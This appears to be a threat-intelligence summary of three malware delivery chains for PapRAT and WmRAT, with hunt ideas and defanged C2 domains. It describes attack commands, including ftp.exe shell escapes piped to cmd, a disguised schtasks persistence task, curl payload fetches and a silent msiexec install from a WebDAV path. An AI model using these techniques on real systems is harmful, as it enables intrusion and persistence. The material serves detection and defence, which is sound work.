• Chain 1 (no PE dropped): LNK runs ftp.exe; the ! prefix makes ftp run a local shell command (!more res.ico piped to cmd). Then schtasks /create /sc minute /mo 30 /tn MicrosoftUpdates\updates11678 runs conhost --headless cmd /c more C:\users\public\music\err.log|cmd; err.log is written by curl --ssl-no-revoke -k. A fake msg * "Explorer was unable to open this file!" follows.
• Chain 2: VHDX lure ("Letter from the Ambassador - 11th Belt and Road Summit.vhdx") with a visible LNK and hidden Visa_Details.msi plus a decoy XLS. The MSI's only action is a Type 194 CustomAction launching PapRAT (masquerading as bruzsvc.exe, "Microsoft redistributables"), which beacons over plain HTTP every 10 s with client_id=user_computer; C2 config is XOR 0x50.
• Chain 3: RAR with "Invitation 2026.url" pointing at rappellingaart[.]com@SSL (WebDAV), then msiexec /i \\rappellingaart[.]com@SSL\secure-docs\Imp_Details.msi /qn; PapRAT's DWW command fetches WmRAT (vnces.exe, C2 netmansrvdns[.]com).
• Rust PapRAT: PDB requpap.pdb, 42 s start delay, HTTPS polling every 5 s, strings reversed and ROT-3, adds MS2 (PowerShell), SLP and BYE commands.

Hunt ideas: ftp.exe spawned by explorer from an LNK, or ftp.exe with child cmd; scheduled tasks under MicrosoftUpdates\ or BiosUpdates\ running conhost --headless with more ... | cmd; files named err.log in C:\users\public\music\ or talk.log in C:\programdata\; msiexec installing from a @SSL WebDAV path; VHDX mounts from mail or downloads. Network: goodnfortunes[.]com, techtalkhelp[.]com, rivingtonclarks[.]com, gomescareerplans[.]com, chestergreenfarming[.]com, felixfuturenext[.]com, rappellingaart[.]com, netmansrvdns[.]com. The full hash list is in Fortinet's post.